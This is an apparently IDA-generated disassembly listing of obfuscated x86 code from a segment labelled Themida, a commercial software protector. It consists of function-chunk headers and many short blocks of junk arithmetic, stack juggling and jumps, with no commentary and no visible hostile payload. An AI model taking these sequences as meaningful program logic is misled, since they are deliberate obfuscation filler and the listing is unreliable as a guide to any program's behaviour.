; FUNCTION CHUNK AT 00567CE8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568292 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056982C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569CE4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056A4E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A968 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056AED6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B0AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C2FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CC73 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005701A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005712EB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005724C3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573BA7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00573E92 SIZE 0000000F BYTES

		push	ebx
		jmp	loc_56669E
sub_5673C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5673C9:				; CODE XREF: Themida_:005734A2j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5673DD:				; CODE XREF: sub_56BD44-9C3Ej
		push	2540h
		mov	[esp+14h+var_14], edx
		push	ecx
		mov	ecx, 6FF40CCEh
		and	ecx, 6C56A98h
		shr	ecx, 7
		neg	ecx
		jmp	loc_56DB32
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_5673FB:				; CODE XREF: sub_569B75+789Bj
		xor	eax, 0DA4EE496h
		push	eax
		pop	ebp
		pop	eax
		sub	esi, 3B9424EFh
		add	esi, 66CE3365h
		sub	esi, ebp
		sub	esi, 66CE3365h
		push	edx
		mov	edx, 3B9424EFh
		add	esi, edx
		pop	edx
		pop	ebp
		jmp	loc_56119E
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_567426:				; CODE XREF: sub_567B29+8C04j
		add	esp, 4
		mov	eax, [esp+0]
		push	edx
		jmp	loc_56D9FC
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ACDE


loc_567435:				; CODE XREF: sub_56ACDE+Cj
		push	eax
		mov	eax, 105D57ADh
		sub	edi, eax
		jmp	loc_56BA33
; END OF FUNCTION CHUNK	FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_567442:				; CODE XREF: sub_56D69D-16E4j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	esi
		mov	esi, 10ED59D9h
		or	esi, 29932AAh
		shl	esi, 3
		jmp	loc_572DA4
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56745A:				; CODE XREF: sub_566117-2A99j
		mov	esi, [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	eax
		push	[esp+10h+var_C]
		pop	eax
		pop	[esp+10h+var_10]
		jmp	loc_573EAD
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56747C:				; CODE XREF: sub_5678CB+CAEFj
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5657E4
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_56749A	proc near		; DATA XREF: Themida_:0055FED4o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056017D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056137C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005621DF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00563D3D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00564DB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566F7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569251 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A802 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0057250C SIZE 00000006 BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	edi
		jmp	loc_563D3D
sub_56749A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5674AF:				; CODE XREF: sub_57354D-B88Ej
		mov	[esp+4+var_4], ebx
		add	[esp+4+var_4], 5DB21066h
		pop	ebp
		sub	ebp, 5DB21066h
		push	ebp
		xor	[esp+4+var_4], 47252180h
		jmp	loc_571C39
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56513E


loc_5674CD:				; CODE XREF: sub_56513E+Cj
		mov	[esp+8+var_8], esi
		push	ebx
		jmp	loc_56B2FA
; END OF FUNCTION CHUNK	FOR sub_56513E
; ---------------------------------------------------------------------------


loc_5674D6:				; CODE XREF: Themida_:005709DFj
		xor	edx, 30C9932Ch
		mov	ecx, edx
		pop	edx
		dec	ecx
		sub	ecx, 70B1636Dh
		xor	ecx, 0C07C29F7h
		jmp	loc_56E777
; ---------------------------------------------------------------------------


loc_5674F1:				; CODE XREF: Themida_:00565BDAj
		pop	ebx
		jmp	loc_5708FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_5674F7:				; CODE XREF: sub_56A7FB+A7A5j
		mov	ch, 6Dh
		jmp	loc_56CD5B
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_5674FE:				; CODE XREF: sub_561F05-18Bj
		mov	[esp+8+var_8], ebx
		push	ecx
		push	ebx
		mov	ebx, 30164DF5h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56F0B9
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_567510:				; CODE XREF: sub_5605BC+EF1Dj
		pop	edi
		xor	edx, [esp+24h+var_24]
		xor	[esp+24h+var_24], edx
		jmp	loc_56B0C6
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_56751C:				; CODE XREF: sub_5722C8-4DC0j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], edi
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_569270
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56754C:				; CODE XREF: sub_56FA15-4740j
		mov	cl, 76h
		jmp	loc_574E4D
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_567553:				; CODE XREF: sub_57236D-C50j
		pop	esi
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp-4+arg_0], ecx
		push	esp
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56CAB6
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_567577:				; CODE XREF: sub_57549C-665Bj
		mov	[esp+0Ch+var_C], edx
		mov	edx, 0E5C0EB8h
		jmp	loc_5623E7
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_567584:				; CODE XREF: sub_567D31+4BCCj
		pop	ecx
		not	esi
		inc	esi
		add	esi, 36AD43A8h
		add	ecx, esi
		pop	esi
		push	esi
		push	ebx
		jmp	loc_563238
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_567598:				; CODE XREF: sub_574656-C8AAj
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		push	4307h
		mov	[esp+0], edi
		push	ecx
		push	11086C2Fh
		mov	ecx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5640F7
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_5675C6:				; CODE XREF: sub_56C3E2-4488j
		push	edx
		push	edi
		push	42AA7B7Fh
		pop	edi
		add	edi, 2F087DC3h
		not	edi
		inc	edi
		xor	edi, 87AB5905h
		jmp	loc_564078
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------


loc_5675E2:				; CODE XREF: Themida_:0056C5D0j
		pop	eax
		add	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_568D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5675EF:				; CODE XREF: sub_574304-E50j
		add	esp, 4
		push	edx
		jmp	loc_56DE58
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5675FB:				; CODE XREF: sub_574A21-3EEAj
		push	6E3802A3h
		pop	eax
		dec	eax
		push	ebx
		mov	ebx, 124C21FCh
		jmp	loc_56891A
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_56760D:				; CODE XREF: sub_560844+4BF5j
		push	edx
		mov	edx, 1E3D6924h
		push	esi
		jmp	loc_56E5A4
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_567619:				; CODE XREF: sub_5606E3+1j
		mov	ebp, 0E7123ECh
		dec	ebp
		and	ebp, 7EFE43ABh
		jmp	loc_560525
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5683C0


loc_56762A:				; CODE XREF: sub_5683C0+Aj
		pop	edx
		push	esi
		push	4
		jmp	loc_562BB0
; END OF FUNCTION CHUNK	FOR sub_5683C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_567636:				; CODE XREF: sub_56651E+CFD8j
		shl	ebp, 2
		push	edx
		mov	edx, 5430DECh
		sub	ebp, edx
		jmp	loc_5691AB
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_567646:				; CODE XREF: sub_56D4B8+2Dj
		mov	edi, 40DF3D39h
		or	edi, 50C97F5Bh
		shl	edi, 5
		shr	edi, 1
		shl	edi, 6
		jmp	loc_56656B
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56765E:				; CODE XREF: sub_56CD13+2A49j
		mov	edx, 4
		add	eax, 1C1834E6h
		add	eax, edx
		sub	eax, 1C1834E6h
		pop	edx
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	5E12h
		mov	[esp+8+var_8], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56A00F
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_56768A:				; CODE XREF: sub_570B3C-4D1j
		pop	esi
		sub	ebx, eax
		jmp	loc_569099
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_567692:				; CODE XREF: sub_5750DE+20j
		add	ebp, edi
		sub	ebp, 276D3581h
		pop	edi
		mov	ecx, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_5704CA
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_5676A5:				; CODE XREF: sub_568CD2+8997j
		mov	[esp+0], eax
		jmp	loc_561618
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_5676AD:				; CODE XREF: sub_56FCD7-6DBBj
		add	edx, edi
		jmp	loc_567BA7
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5676B4:				; CODE XREF: sub_56657A-3378j
		mov	ecx, 728E2045h
		sub	edx, 342D238Fh
		sub	edx, ecx
		add	edx, 342D238Fh
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		add	edx, 0CF9E9B08h
		jmp	loc_56A2C3
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5676D9:				; CODE XREF: sub_56628B+80BEj
		mov	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_571221
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_5676E2:				; CODE XREF: sub_574656-1233j
		pop	eax
		push	3DE9h
		mov	[esp+0Ch+var_C], edi
		push	edx
		push	78F679DDh
		pop	edx
		neg	edx
		add	edx, 571C1D0Eh
		jmp	loc_565290
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_5676FF:				; CODE XREF: sub_569A75+8107j
		add	esp, 2
		push	edx
		mov	dh, 0F8h
		add	dh, 1
		sub	dh, 9Eh
		jmp	loc_56939A
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_567710:				; CODE XREF: sub_56D359-BC1Fj
		add	esp, 4
		add	[esp+10h+var_C], 6A99708Ch
		pop	edx
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_56FC5D
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_567724:				; CODE XREF: sub_560056+9AEj
		sub	esi, 5E357C1Eh
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	esi
		mov	edx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		jmp	loc_573FEC
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56773F:				; CODE XREF: sub_5754DA-B2AFj
		add	al, ch
		jmp	loc_56460C
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_567746:				; CODE XREF: sub_56657A+17j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_5669CE
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_567758:				; CODE XREF: sub_5753A5-11D90j
		add	edx, 4
		push	esi
		push	edx
		mov	edx, 36506F58h
		jmp	sub_56DD54
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56776A:				; CODE XREF: sub_574656-9C7Dj
		mov	[esp+0], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 195807E3h
		shl	esi, 5
		jmp	loc_56E0A5
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56777D:				; CODE XREF: sub_56102D+1B65j
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_5700E2
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_567786:				; CODE XREF: sub_56AB51+5CC8j
		xor	ecx, edx
		pop	edx
		sub	eax, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, 437E0382h
		sub	eax, esi
		add	eax, 437E0382h
		push	edx
		jmp	loc_575361
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_5677A6:				; CODE XREF: sub_56102D+C615j
		pop	edi
		jmp	loc_56229B
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5677AC:				; CODE XREF: sub_5678CB+556Aj
		push	edx
		mov	edx, 568906FEh
		jmp	loc_5634A8
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_5677B7:				; CODE XREF: sub_56E126+47C6j
		shl	ebx, 5
		push	eax
		jmp	loc_5735A0
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5677C0:				; CODE XREF: sub_57549C-11132j
		add	eax, edi
		pop	edi
		pop	edi
		sub	eax, 24537A5Ch
		push	2FA3h
		mov	[esp+8+var_8], ebp
		mov	ebp, 1DFC48E7h
		and	ebp, 25A56EE6h
		add	ebp, 0BED7992h
		jmp	loc_5685E2
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5677E7:				; CODE XREF: sub_563DCB-E66j
		add	esp, 4
		add	al, dh
		mov	dx, word ptr [esp-8+arg_4]
		add	esp, 2
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		mov	cl, 6
		jmp	loc_5702BB
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_567806:				; CODE XREF: sub_561541+C6CFj
		add	esi, 3FBA17CAh
		push	eax
		jmp	loc_5722B0
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_567812:				; CODE XREF: sub_574656-BA2Cj
		add	esp, 4
		or	edi, 35323FC7h
		xor	edi, 35737FCBh
		add	ebx, 6BE70014h
		add	ebx, edi
		jmp	loc_56D060
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56782E:				; CODE XREF: sub_5713A7-6CC1j
		not	ebx
		inc	ebx
		not	ebx
		jmp	loc_562CAE
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_567838:				; CODE XREF: sub_5678CB+AD99j
		not	dh
		and	dh, 0AAh
		sub	dh, 0FAh
		sub	ch, dh
		pop	edx
		pop	eax
		push	dx
		jmp	loc_572BB8
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726BB


loc_56784B:				; CODE XREF: sub_5726BB+9j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_57103F
; END OF FUNCTION CHUNK	FOR sub_5726BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_567856:				; CODE XREF: sub_5605BC+44F2j
		xor	esi, edx
		pop	edx
		jmp	loc_567B75
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------


loc_56785E:				; CODE XREF: Themida_:00571B66j
		xchg	edi, [esp]
		jmp	loc_56C80B

; =============== S U B	R O U T	I N E =======================================



sub_567866	proc near		; DATA XREF: Themida_:0055FE9Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056276F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563A59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005646E4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00565BDF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B8FB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DED5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571322 SIZE 0000004C BYTES

		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_571322
sub_567866	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56786F:				; CODE XREF: sub_56102D+127Dj
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_56F156
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_56787E:				; CODE XREF: sub_561826+15j
		xchg	ax, cx
		xchg	ax, bx
		push	bp
		push	small 322h
		jmp	loc_56FE5F
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56788D:				; CODE XREF: sub_57354D-DE8Fj
		mov	ebp, 2B3777Ah
		or	esi, ebp
		jmp	loc_560F4A
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_567899:				; CODE XREF: sub_575315-8027j
		add	ebx, 59517FC3h
		jmp	loc_57279F
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_5678A4:				; CODE XREF: sub_574287-53EDj
		pop	ebp
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_567E31
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------


loc_5678BA:				; CODE XREF: Themida_:0056FE7Aj
		mov	eax, 220833B5h
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		shl	eax, 7
		jmp	loc_563E0B

; =============== S U B	R O U T	I N E =======================================



sub_5678CB	proc near		; CODE XREF: sub_574229-13160j

var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560197 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560307 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005603A4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005606E9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00560ED3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056157F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561A2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562CE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562D30 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056309C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005634A8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563E19 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005657E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565DF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005668F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566D2A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566E1F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056747C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005677AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567838 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567C91 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005681BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005682C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005685EC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00569568 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056985F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569D40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A05A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A46B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A913 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AFA0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B1C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B5D0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BC6F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CE33 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D3F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E597 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EA81 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056FC02 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056FF79 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005703E6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00570F8D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0057136E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00571875 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00571A0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571CF1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571D99 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057252D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057265C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572BB8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572C0F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573569 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057387C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573CC3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005743A7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574727 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005747E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574B21 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00574D5D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00574FD2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005751A3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005753B6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057548D SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 38h
		add	ch, 0FFh
		not	ch
		inc	ch
		push	6C79h
		mov	[esp+8+var_A+2], ebx
		mov	bh, ch
		push	ax
		mov	al, bh
		not	al
		push	69CAh
		jmp	loc_56A913
sub_5678CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5678F4:				; CODE XREF: sub_561027+127BFj
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	esp
		pop	eax
		push	594Bh
		mov	[esp+18h+var_18], edi
		jmp	loc_5713DE
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_56790A:				; CODE XREF: sub_574503-88F0j
		mov	[esp+4+var_4], ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		jmp	loc_56D138
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56791A:				; CODE XREF: sub_561418-72Cj
		or	edx, ebp
		pop	ebp
		dec	edx
		inc	edx
		jmp	loc_56EBBE
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_567924:				; CODE XREF: sub_574CDD-6EBDj
		and	esi, 2AAF3732h
		push	ecx
		mov	ecx, 0F2664EBh
		push	3491h
		mov	[esp+8+var_8], edi
		push	eax
		push	6FD371FDh
		pop	eax
		dec	eax
		xor	eax, 2A4750E6h
		shl	eax, 5
		xor	eax, 0FA8B67D6h
		jmp	loc_5656D9
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_567952:				; CODE XREF: sub_5666C3+EA59j
		dec	ebp
